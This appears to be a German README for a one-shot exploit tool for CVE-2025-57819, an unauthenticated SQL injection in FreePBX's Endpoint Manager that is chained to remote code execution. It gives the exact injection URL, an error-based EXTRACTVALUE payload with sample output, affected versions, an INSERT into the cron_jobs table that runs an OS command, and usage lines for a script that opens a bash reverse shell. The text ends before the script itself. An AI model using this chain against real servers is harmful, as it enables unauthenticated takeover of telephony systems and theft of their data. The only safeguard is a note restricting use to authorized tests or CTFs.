
CVE-2025-57819 -> rce
One-Shot-Exploit für die nicht authentifizierte SQL-Injection im FreePBX Endpoint Manager (CVE-2025-57819), verkettet zur Remote-Codeausführung über die FreePBX-Tabelle cron_jobs.
Nur für autorisierte Sicherheitstests / CTF-Nutzung.
Der AJAX-Handler des Endpoint-Moduls verkettet den Parameter brand direkt
in eine SQL-Abfrage, und der Modulpfad FreePBX\modules\endpoint\ajax umgeht
die AJAX-Referrer-/Authentifizierungsprüfung. Das ermöglicht eine nicht
authentifizierte, fehlerbasierte SQL-Injection (über EXTRACTVALUE) mit
aktivierten gestapelten Abfragen (Schreibzugriff).
Injektionspunkt:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model&brand=<INJECTION>
Beweis (fehlerbasiertes Auslesen):
brand=x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -
→ {"error":{"message":"... XPATH syntax error: '~freepbxuser@localhost~' ..."}}
Betroffen: FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3.
Die Injection ist für sich genommen schreibgeschützt, aber gestapelte Abfragen
ermöglichen Schreibvorgänge. FreePBX führt Aufträge aus der Tabelle cron_jobs
über seinen Cron-Manager aus, sodass das Einfügen einer Zeile eine beliebige
Befehlsausführung ermöglicht (innerhalb von ~60 s, Zeitplan * * * * *):
INSERT INTO cron_jobs
(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)
VALUES ('sysadmin','<job>','<os-command>',NULL,'* * * * *',30,1,1);
Der injizierte Befehl ist eine Bash-Reverse-Shell. Die Cron-Zeile wird nach dem ersten Callback automatisch entfernt, um wiederholte Verbindungen zu vermeiden.
pip install requests urllib3
Python 3. Die eingebaute IP-Erkennung (-i/--interface) ist nur für Linux
verfügbar; verwenden Sie auf anderen Plattformen --ip.
# Defaults: interface tun0, port 4444 — starts listener, exploits, drops a shell
python3 exploit.py http://{target}
# Pick a different interface / port
python3 exploit.py http://{target} -i eth0 -p 9001
# Set the listener IP explicitly
python3 exploit.py http://{target} --ip 10.10.15.52
python3 exploit.py --help
Das Skript: